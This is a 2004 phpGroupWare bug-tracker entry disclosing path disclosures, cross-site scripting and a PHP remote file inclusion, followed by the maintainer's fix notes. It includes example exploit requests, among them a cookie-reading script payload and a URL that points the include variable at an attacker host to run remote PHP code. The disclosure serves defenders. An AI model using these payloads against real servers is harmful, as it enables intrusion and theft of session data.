bugphpGroupWare - Bugs: bug #7478, Multiple security holes in last...

 
 

You are not allowed to post comments on this tracker with your current authentication level.

bug #7478: Multiple security holes in last versions of phpgroupware

Submitter:  None
Submitted:  Tue 27 Jan 2004 05:57:00 PM UTC
   
 
Category:  None Item Group:  0.9.16RC3
Severity:  3 - Normal Priority:  9 - Immediate
Status:  Fixed Privacy:  Public
Assigned to:  skwashd Open/Closed:  Closed
Component Version:  None Operating System:  None
Reproducibility:  Every Time Planned Release:  None
Fixed Release: 

Wed 25 Feb 2004 10:23:46 PM UTC, comment #2: 

I have fixed all of these in cvs.  A new official release will be out shortly.

Dave Hall <skwashd>
Group administrator
Wed 28 Jan 2004 09:14:55 AM UTC, comment #1: 

I am working on this - give me 36 hours.

I more discreet "heads up" would have been appreciated.

Dave Hall <skwashd>
Group administrator
Tue 27 Jan 2004 05:57:00 PM UTC, original submission:  

-------------------------------------------------------------------------------

Details :

Multiple PATH disclosure have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
Multiple XSS have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
A PHP code injection vulnerability has been found on phpgroupware 0.9.14.00X (X <= 5).

Vulnerable Systems:

  • phpgroupware 0.9.14.005 and prior


Severity :
High (PHP code injection)
Medium (XSS)
Low (PATH Disclosure)

Credit :
Cedric Cochin (cco@netvigilance.com)

-------------------------------------------------------------------------------
Examples :

                  -------------------------------------------

I - Path disclosure

Exploit example

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/phpsysinfo/inc/hook_admin.inc.php]
http://[target/[phpgroupware_directory]/comic/inc/hook_home.inc.php]
http://[target/[phpgroupware_directory]/calendar/inc/class.holidaycalc.inc.php]
http://[target/[phpgroupware_directory]/news_admin/website/setup.inc.php.sample]

-- END --- HTTP Request --

                  -------------------------------------------

II - XSS

Exploit example

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/index.php?menuaction=calendar.uicalendar.planner]
POST DATA: date="><script>alert(document.cookie)</script>

-- END --- HTTP Request --

                  -------------------------------------------


III - PHP Code Injection

The  tables_update.inc.php  script  presents  in  the  phpgwapi/setup/ directory
performs a PHP include() call.

        /* Include older phpGroupWare update support */
        include($appdir . 'tables_update_0_9_9.inc.php');
        include($appdir . 'tables_update_0_9_10.inc.php');
        include($appdir . 'tables_update_0_9_12.inc.php');

By  defining  the  $appdir  variable   in  the  URL,  an  attacker   creating  a
"tables_update_0_9_9.inc.php" on the http://attacker  web server can inject  PHP
code.

For example: tables_update_0_9_9.inc.php = <?php print "<?php phpinfo();?>" ;?>

and the following request, will execute the phpinfo() command on the vulnerable target.

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/phpgwapi/setup/tables_update.inc.php?appdir=http://attacker/]

-- END --- HTTP Request --

Version 0.9.14.007 is no more vulnerable due to the missing $appdir variable  of
the include calls.
 /* Include older phpGroupWare update support */
 include('tables_update_0_9_9.inc.php');
 include('tables_update_0_9_10.inc.php');
 include('tables_update_0_9_12.inc.php');

Version 0.9.16RCX are not using anymore these include calls.
 /* Include older phpGroupWare update support */
 //include('tables_update_0_9_9.inc.php');
 //include('tables_update_0_9_10.inc.php');
 //include('tables_update_0_9_12.inc.php');

-------------------------------------------------------------------------------

Anonymous

 

(Note: upload size limit is set to 16384 kB, after insertion of the required escape characters.)

No files currently attached

 

Depends on the following items: None found

Items that depend on this one: None found

 

CC list is empty

 

There are 0 votes so far. Votes easily highlight which items people would like to see resolved in priority, independently of the priority of the item set by tracker managers.

 

Follow 4 latest changes.

Date Changed by Updated Field Previous Value => Replaced by
2004-02-25 skwashd Item GroupNone 0.9.16RC3
    StatusNone Fixed
    Open/ClosedOpen Closed
2004-01-28 skwashd Assigned toNone skwashd

Back to the top

Powered by Savane 3.13-f8d8.
Corresponding source code